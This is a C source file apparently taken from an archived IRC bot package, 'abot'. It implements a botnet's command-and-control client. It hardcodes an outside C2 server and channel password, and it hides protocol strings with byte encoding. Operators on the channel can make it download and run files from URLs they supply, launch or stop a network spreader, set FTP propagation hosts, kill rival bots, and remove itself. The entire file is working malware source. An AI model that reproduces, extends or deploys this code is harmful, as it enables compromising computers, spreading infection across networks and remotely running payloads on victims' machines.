www.pudn.com > abot.rar > irc.cpp, change:2007-05-27,size:14796b


#include "shared.h" 
//#include "blowfish.h" 
#ifndef NO_MD5 
#include "md5.h" 
#endif 
 
typedef struct  
{ 
	char *host; 
	unsigned short port; 
	char *password; 
} ircconnect_s; 
 
///////////////// 
// config here // 
///////////////// 
 
char cfg_botversion[] = "\xFE\xC4\xE3\xEF\xC2\xF9\x8D\x9A\x83\x9D"; 
char stringMOTD[] = "\xE0\xE2\xF9\xE9"; 
 
ircconnect_s ircconnect[] = 
{ 
	//{"casper.kronicx.com", 5875, ""}, 
	{"dreycorp.kwik.to", 6667, ""}, 
	{NULL, 0, NULL} 
}; 
 
int cfg_engageofflinescan = 3; 
unsigned long cfg_reconnectsleep = 5000; // msec 
unsigned long cfg_ircmaxwaittime = 600; // sec 
int cfg_nicklen = 6; 
 
char cfg_ircchannel[] = "\x8E\xDE\xD5\xD4\xCE\xC5\xCC\xD9"; 
char cfg_ircchanpass[] = "skynetwuzinit"; 
char cfg_irchost[] = "*"; 
char cfg_ircorderprefix[] = "!"; 
 
#ifndef NO_MD5 
char cfg_downloadcmd[] = "2c033b7816b965a26c4cf91a03d3f7de"; // asdf 
char cfg_removecmd[] = "0772a03d29456fe9fb84bd6153784958"; // fasd 
#endif 
 
// encoded strings 
char string_nick[] = "\xE3\xE4\xEE\xE6"; 
char string_join[] = "\xE7\xE2\xE4\xE3"; 
char string_part[] = "\xFD\xEC\xFF\xF9"; 
char string_quit[] = "\xFC\xF8\xE4\xF9"; 
char string_privmsg[] = "\xFD\xFF\xE4\xFB\xE0\xFE\xEA"; 
char string_pass[] = "\xFD\xEC\xFE\xFE"; 
char string_ping[] = "\xFD\xE4\xE3\xEA"; 
char string_pong[] = "\xFD\xE2\xE3\xEA"; 
char string_user[] = "\xF8\xFE\xE8\xFF"; 
 
// not encoded strings 
static char string_reconnect[] = "REC"; 
static char string_disconnect[] = "DIS"; 
static char string_remove[] = "REMV"; 
static char string_download_failed[] = "XDL F411D"; 
#ifndef NO_BOTKILLER 
static char string_botkiller_off[] = "BXK/OFF"; 
#endif 
 
///////////////// 
// config ends // 
///////////////// 
 
thread_s		threads[MAX_THREADS]; 
BOOL			silent_main = FALSE; 
BOOL			silent_all = FALSE; 
 
 
BOOL NET_Initialize() 
{ 
	WSADATA WSAdata; 
 
	if (WSAStartup(MAKEWORD(2, 2), &WSAdata) != 0)  
	{ 
#ifdef DEBUG 
		printf("WSA Error!\n"); 
#endif 
		return FALSE; 
	} 
	else 
		return TRUE; 
} 
 
 
int IRC_Connect(char *host, unsigned short port) 
{ 
	unsigned int		resv_host; 
	struct sockaddr_in	address; 
	SOCKET				sock; 
 
 
 
#ifdef DEBUG 
	printf("Connecting to: %s:%d\n", host, port); 
#endif 
 
	resv_host = Resolve(host); 
	if (resv_host == 0) 
		return -1; 
 
	address.sin_addr.s_addr = resv_host; 
	address.sin_family = AF_INET; 
	address.sin_port = htons(port); 
 
	if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) 
		return -2; 
 
	if (connect(sock, (struct sockaddr *)&address, sizeof(address)) == SOCKET_ERROR) 
		return -3; 
	else 
	 
	//	Spreader_Start(sock, from, 20, 20, "24.x.x.x", "rnd", "ftp", NULL); 
		return sock; 
} 
 
 
int IRC_Send(SOCKET sock, ircmessage msg, char *buffer, char *to) 
{ 
	char	temp[64] = {0},  
			buff[MAX_LINE]; 
	int		len; 
//	char out[MAX_LINE]; 
_snprintf(buff,sizeof(buff), "%s", Decode(cfg_ircchannel)); 
	if (msg == MSG_PASS) 
	{ 
		strncpy(temp, string_pass, sizeof(temp) - 1); 
		_snprintf(buff, sizeof(buff) - 1, "%s %s\r\n", Decode(temp), buffer); 
	} 
	else if (msg == MSG_NICK) 
	{ 
		strncpy(temp, string_nick, sizeof(temp) - 1); 
		_snprintf(buff, sizeof(buff) - 1, "%s %s\r\n", Decode(temp), buffer); 
	} 
	else if (msg == MSG_USER) 
	{ 
		strncpy(temp, string_user, sizeof(temp) - 1); 
		_snprintf(buff, sizeof(buff) - 1, "%s %s \"\" \"lol\" :%s\r\n",  
			Decode(temp), buffer, buffer); 
	} 
	else if (msg == MSG_PONG) 
	{ 
		strncpy(temp, string_pong, sizeof(temp) - 1); 
		_snprintf(buff, sizeof(buff) - 1, "%s %s\r\n", Decode(temp), buffer); 
	} 
	else if (msg == MSG_JOIN) 
	{ 
		strncpy(temp, string_join, sizeof(temp) - 1); 
		_snprintf(buff, sizeof(buff) - 1, "%s %s %s\r\n", Decode(temp), buffer, to); 
	} 
	else if (msg == MSG_PRIVMSG) 
	{ 
		if (silent_all) 
			return 1; 
 
		else if (silent_main && !strcmp(to, buff)) 
			return 1; 
		else 
		{ 
	//	bfEncrypt(BFKey, buffer, out); 
			strncpy(temp, string_privmsg, sizeof(temp) - 1); 
			_snprintf(buff, sizeof(buff) - 1, "%s %s :%s\r\n", Decode(temp), to, buffer); 
		} 
	} 
	else if (msg == MSG_QUIT) 
	{ 
		strncpy(temp, string_quit, sizeof(temp) - 1); 
		_snprintf(buff, sizeof(buff) - 1, "%s :%s\r\n", Decode(temp), buffer); 
	} 
	else 
		// should never happen 
		return 0; 
 
	memset(temp, 0, sizeof(temp)); 
 
#ifdef DEBUG 
	printf("Out: %s\n", buff); 
#endif 
 
	len = send(sock, buff, strlen(buff), 0); 
 
	memset(buff, 0, sizeof(buff)); 
 
	return len; 
} 
 
 
int IRC_Login(SOCKET sock, char *password, char *nick, char *user) 
{ 
	int		ret; 
 
	if (password[0] != 0) 
		if ((ret = IRC_Send(sock, MSG_PASS, password, NULL)) == SOCKET_ERROR) 
			return ret; 
 
	if ((ret = IRC_Send(sock, MSG_NICK, nick, NULL)) == SOCKET_ERROR) 
		return ret; 
 
	if ((ret = IRC_Send(sock, MSG_USER, user, NULL)) == SOCKET_ERROR) 
		return ret; 
 
	return 1; 
} 
 
 
int IRC_CheckTimeout(SOCKET sock) 
{ 
	struct timeval		timeout; 
	fd_set				fd; 
 
	timeout.tv_sec = cfg_ircmaxwaittime; 
	timeout.tv_usec = 0; 
 
	FD_ZERO(&fd);  
	FD_SET(sock, &fd); 
 
	return select(sock, &fd, NULL, NULL, &timeout); 
} 
 
 
BOOL IRC_IsOrder(char *order) 
{ 
	if (!strncmp(order, cfg_ircorderprefix, strlen(cfg_ircorderprefix))) 
	{ 
		// remove order prefix 
		memmove(order, order + strlen(cfg_ircorderprefix), strlen(order)); 
 
		return TRUE; 
	} 
	else 
		return FALSE; 
} 
 
 
BOOL IRC_CheckHost(char *master) 
{ 
	char	*host; 
 
	host = strchr(master, '@'); 
	if (host == NULL) 
		return FALSE; 
 
	if (!strcmp(host + 1, cfg_irchost)) 
		return TRUE; 
	else 
		return FALSE; 
} 
 
 
int IRC_ParseSingleCommand(SOCKET sock, char **word, int p, int words, char *from) 
{ 
//char cmd_vers[] = "\xDB"; 
//char cmd_dl[] = "\xC9\xC1"; 
//char cmd_sc[] = "\xDE\xCE"; 
//char cmd_sa[] = "\xDE\xCC"; 
//char cmd_sm[] = "\xDE\xC0"; 
//char cmd_r[] = "\xDF"; 
//char cmd_q[] = "\xDC"; 
//char cmd_d[] = "\xC9"; 
//char cmd_site[] = "\xDE\xC1\xC2\xCF\xC2\xC9\xC2\xC3\x83\xC6\xDA\xC4\xC6\x83\xD9\xC2\x82\xCF\xC2\xD9\x83\xC8\xD5\xC8"; 
//char cmd_1[] = "\x9C"; 
//char cmd_2[] = "\x9F"; 
//char cmd_ss[] = "\xDE\xDE"; 
//char cmd_sc[] = "\xDE\xCE"; 
//char cmd_s[] = "\xDE"; 
//char cmd_bk[] = "\xCF\xC6"; 
//char cmd_gc[] = "\xCA\xCE"; 
//char cmd_rm[] = "\xDF\xC0"; 
#ifdef DEBUG 
	int		i; 
 
	printf("Command from %s: ", from); 
	for (i = 0; i < words; i ++) 
	{ 
		if (i == 0) 
			printf("%s ", word[p]); 
		else 
			printf("%s ", word[p + i]); 
	} 
	printf("\n\n"); 
#endif 
 
 
#ifndef NO_MD5 
	char	hash[128] = {0}; 
	 
	strncpy(hash, word[p], sizeof(hash) - 1); 
	MD5Hash(hash, strlen(hash)); 
#endif 
 
	if (words < 1) 
		return 1; 
 
	else if (!strcmp(word[p], "xDExCC")) 
	{ 
		if (silent_all) 
			silent_all = FALSE; 
		else 
			silent_all = TRUE; 
 
		return 1; 
	} 
 
	else if (!strcmp(word[p], "xDExC0")) 
	{ 
		if (silent_main) 
			silent_main = FALSE; 
		else 
			silent_main = TRUE; 
 
		return 1; 
	} 
 
	else if (!strcmp(word[p], "xDB")) 
	{ 
		char buff[MAX_LINE]; 
	_snprintf(buff, sizeof(buff), "%s", Decode(cfg_botversion)); 
		return IRC_Send(sock, MSG_PRIVMSG, buff, from); 
	} 
	else if (!strcmp(word[p], "xDF")) 
	{ 
		IRC_Send(sock, MSG_QUIT, string_reconnect, NULL); 
 
		return -2; 
	} 
 
	else if (!strcmp(word[p], "xDC")) 
	{ 
		IRC_Send(sock, MSG_QUIT, string_reconnect, NULL); 
 
		return -3; 
	} 
			 
	else if (!strcmp(word[p], "xC9")) 
	{ 
		IRC_Send(sock, MSG_QUIT, string_disconnect, NULL); 
 
		return -4; 
	} 
 
#ifndef NO_MD5 
	else if (!lstrcmpi(hash, cfg_removecmd)) 
#else 
	else if (!strcmp(word[p], "xDFxC0")) 
#endif 
	{ 
		IRC_Send(sock, MSG_QUIT, string_remove, NULL); 
 
		return -5; 
	} 
 
	else if (!strcmp(word[p], "xDExDE")) 
	{ 
		Spreader_Stop(sock, from); 
 
		return 1; 
	} 
 
	else if (!strcmp(word[p], "xCAxCE")) 
	{ 
		Spreader_GetCFTP(sock, from); 
 
		return 1; 
	} 
 
#ifndef NO_PATCHER 
	else if (!strcmp(word[p], "patch")) 
	{ 
		PATCHER p; 
		p.Sock = sock; 
		p.tnum = Thread_Add(T_PATCHER); 
 
		threads[p.tnum].tHandle = Thread_Start(PatcherThread, &p, FALSE); 
 
		return 1; 
	} 
#endif 
 
	else if (words < 2) 
		return 1; 
 
#ifndef NO_BOTKILLER 
	else if (!strcmp(word[p], "bk")) 
	{ 
		if (!strcmp(word[p], "off")) 
		{ 
			Thread_Kill(T_BOTKILLER); 
			IRC_Send(sock, MSG_PRIVMSG, string_botkiller_off, from); 
		} 
		else if (!Thread_Check(T_BOTKILLER)) 
		{ 
			BK bk; 
			bk.Sock = sock; 
			bk.ScanDelay = atoi(word[p + 1]); 
			bk.tnum = Thread_Add(T_BOTKILLER); 
 
			threads[bk.tnum].tHandle = Thread_Start(BotKillerThread, &bk, FALSE); 
		} 
		 
		return 1; 
	} 
#endif 
 
	else if (words < 3) 
		return 1; 
 
#ifndef NO_MD5 
	else if (!lstrcmpi(hash, cfg_downloadcmd)) 
#else 
	else if (!strcmp(word[p], "dl")) 
#endif 
	{ 
		download_s dl; 
 
		_snprintf(dl.channel, sizeof(dl.channel) - 1, "%s", from); 
		dl.ircsock = sock; 
//char krumpet[MAX_LINE]; 
//_snprintf(krumpet, sizeof(krumpet), "%s", Decode(word[p + 2])); 
		dl.mode = atoi(word[p + 1]); 
		_snprintf(dl.url, sizeof(dl.url) - 1, "%s", word[p + 2]); 
 
		if (word[p + 3] != NULL) 
			_snprintf(dl.destination, sizeof(dl.destination) - 1, "%s", word[p + 3]); 
		else 
			dl.destination[0] = 0; 
 
		dl.tnum = Thread_Add(T_DOWNLOAD); 
 
		if ((threads[dl.tnum].tHandle = Thread_Start(DL_Thread, &dl, FALSE)) == NULL) 
			IRC_Send(sock, MSG_PRIVMSG, string_download_failed, from); 
 
		return 1; 
	 
	} 
 
	else if (words < 4) 
		return 1; 
 
	else if (words < 5) 
		return 1; 
 
	else if (!strcmp(word[p], "xDExCE")) 
	{ 
		// !s threads range rnd/seq cftp 
		Spreader_Start(sock, from, atoi(word[p + 1]), word[p + 2], atoi(word[p + 3]), atoi(word[p + 4]), word[p + 5], NULL); 
 
		return 1; 
	} 
 
	else if (words < 6) 
		return 1; 
 
	else if (!strcmp(word[p], "xCAxCE")) 
	{ 
		strncpy(cfg_cftp_host, word[p + 1], sizeof(cfg_cftp_host) - 1); 
		cfg_cftp_port = atoi(word[p + 2]); 
		strncpy(cfg_cftp_user, word[p + 3], sizeof(cfg_cftp_user) - 1); 
		strncpy(cfg_cftp_pass, word[p + 4], sizeof(cfg_cftp_pass) - 1); 
		strncpy(cfg_cftp_file, word[p + 5], sizeof(cfg_cftp_file) - 1); 
 
		return 1; 
	} 
 
	else 
		return 1; 
}	 
 
 
int IRC_ParseAllCommands(SOCKET sock, char **word) 
{ 
	int		i,  
			k,  
			pos, 
			ret; 
	char	*p, 
			from[128] = {0}; 
 
	if (!strcmp(word[1], "332")) 
		i = 4; 
	else 
		i = 3; 
 
	// correction if its channel or user 
	if (word[i-1][0] != '#') 
	{ 
		p = strchr(word[0], '!'); 
		*p = 0; 
		strncpy(from, word[0] + 1, sizeof(from) - 1); 
	} 
	else 
		strncpy(from, word[i-1], sizeof(from) - 1); 
 
	// first command correction (remove ":") 
	memmove(word[i], word[i] + 1, strlen(word[i])); 
 
	k = i + 1; 
	pos = i; 
	while (word[k] != NULL && k < MAX_WORDS) 
	{ 
		if (IRC_IsOrder(word[k])) 
		{ 
			if ((ret = IRC_ParseSingleCommand(sock, word, pos, k - pos, from)) < 0) 
				return ret; 
 
			pos = k; 
		} 
		k++; 
	} 
 
	return IRC_ParseSingleCommand(sock, word, pos, k - pos, from); 
} 
 
 
int IRC_Parse(SOCKET sock, char *line) 
{ 
	char	*word[MAX_WORDS], 
				temp[64] = {0}; 
	int		i = 0; 
char buff[MAX_LINE]; 
char buff1[69]; 
_snprintf(buff1, sizeof(buff1), "%s", Decode(stringMOTD)); 
_snprintf(buff, sizeof(buff), "%s", Decode(cfg_ircchannel)); 
#ifdef DEBUG 
	printf("In: %s\n\n", line); 
#endif 
 
	if (strstr(line, "MOTD") != NULL) 
		return IRC_Send(sock, MSG_JOIN, cfg_ircchannel, cfg_ircchanpass); 
 
	word[i] = strtok(line, " "); 
	while (word[i] != NULL) 
	{ 
		i++; 
		if (i == MAX_WORDS) 
			break; 
		word[i] = strtok(NULL, " "); 
	} 
 
	strncpy(temp, string_ping, sizeof(temp) - 1); 
	if (!strcmp(word[0], Decode(temp))) 
	{ 
		memset(temp, 0, sizeof(temp)); 
		return IRC_Send(sock, MSG_PONG, word[1], NULL); 
	} 
 
	if (!strcmp(word[1], "433")) 
		return IRC_Send(sock, MSG_NICK, GenerateRandomLetters(cfg_nicklen), NULL); 
 
	strncpy(temp, string_privmsg, sizeof(temp) - 1); 
	if (!strcmp(word[1], Decode(temp))) 
	{ 
		if (IRC_IsOrder(word[3] + 1)) 
			return IRC_ParseAllCommands(sock, word); 
	} 
 
	if (!strcmp(word[1], "332")) 
	{ 
		if (IRC_IsOrder(word[4] + 1)) 
			return IRC_ParseAllCommands(sock, word); 
	} 
 
	return 0; 
} 
 
 
int IRC_Listen(SOCKET sock) 
{ 
	int		ret,  
			len; 
	char	buffer[MAX_RECEIVE_BUFFER]; 
 
	while (sock > 0) 
	{ 
		len = 0; 
		memset(buffer, 0, sizeof(buffer)); 
		while ((ret = IRC_CheckTimeout(sock)) > 0) 
		{ 
			if (len == MAX_RECEIVE_BUFFER - 1) 
				break; 
			len += recv(sock, buffer + len, 1, 0); 
			if (buffer[len-1] == '\r' || buffer[len-1] == '\n') 
				break; 
		} 
		 
		if (ret <= 0) 
			return ret; 
		else if (len < 2) 
			continue; 
		else 
		{ 
			buffer[len-1] = 0; 
			if ((ret = IRC_Parse(sock, buffer)) < 0) 
				return ret; 
		} 
	} 
 
	return sock; 
} 
 
 
int IRC_Begin() 
{ 
	int			ircsock; 
	int			i = 0,  
				ret = 1, 
				tries = 0; 
 
	while (1) 
	{ 
		if (ircconnect[i].host == NULL) 
		{ 
			i = 0; 
			tries++; 
			if (tries == cfg_engageofflinescan) 
			{ 
				Spreader_Offline(); 
				tries = 0; 
			} 
		} 
 
		if ((ircsock = IRC_Connect(ircconnect[i].host, ircconnect[i].port)) > 0) 
		{ 
			i = 0; 
			tries = 0; 
			if (IRC_Login(ircsock, ircconnect[i].password, GenerateRandomLetters(cfg_nicklen), GenerateRandomLetters(0)) > 0) 
			{ 
				ret = IRC_Listen(ircsock); 
 
				switch (ret) 
				{ 
#ifdef DEBUG 
				case 0: 
					printf("IRC connection timeout.\n"); 
					break; 
				case -1:	// SOCKET_ERROR 
					printf("IRC socket error occured.\n"); 
					break; 
				case -2: 
					printf("IRC order: reconnect to same server.\n"); 
					break; 
#endif 
				case -3: 
#ifdef DEBUG 
					printf("IRC order: reconnect to next server.\n"); 
#endif 
					i++; 
					break; 
				case -4: 
#ifdef DEBUG 
					printf("IRC order: disconnect.\n"); 
#endif 
					closesocket(ircsock); 
					return ret; 
				case -5: 
#ifdef DEBUG 
					printf("IRC order: remove.\n"); 
#endif 
					closesocket(ircsock); 
					return ret; 
				default: 
#ifdef DEBUG 
					printf("Unknown IRC error.\n"); 
#endif 
 
					break; 
				} 
 
				closesocket(ircsock); 
			} 
		} 
		else 
		{ 
#ifdef DEBUG 
			switch (ircsock) 
			{ 
			case -1: 
				printf("Failed to resolve host.\n"); 
				break; 
			case -2: 
				printf("IRC socket initialization failed.\n"); 
				break; 
			case -3: 
				printf("Failed to connect to IRC server: %s:%d\n", ircconnect[i].host, ircconnect[i].port); 
				break; 
			default: 
				printf("Unknown IRC socket error.\n"); 
			} 
#endif 
			i++; 
		} 
 
		Sleep(cfg_reconnectsleep); 
	} 
 
	// never reached 
} 
 
 
DWORD WINAPI IRC_Thread(LPVOID param) 
{ 
#ifndef DEBUG 
	HANDLE mutex; 
#endif 
 
	if (!NET_Initialize()) 
		ExitThread(0); 
 
#ifndef DEBUG 
	mutex = CreateMutex(NULL, FALSE, cfg_mutex); 
#endif 
 
	srand(GetTickCount()); 
 
	Thread_Prepare(); 
 
	if (IRC_Begin() == -5) 
		SC_StopOrUninstall(TRUE); 
	else 
		SC_StopOrUninstall(FALSE); 
 
	WSACleanup(); 
#ifndef DEBUG 
	ReleaseMutex(mutex); 
#endif 
	ExitThread(0); 
}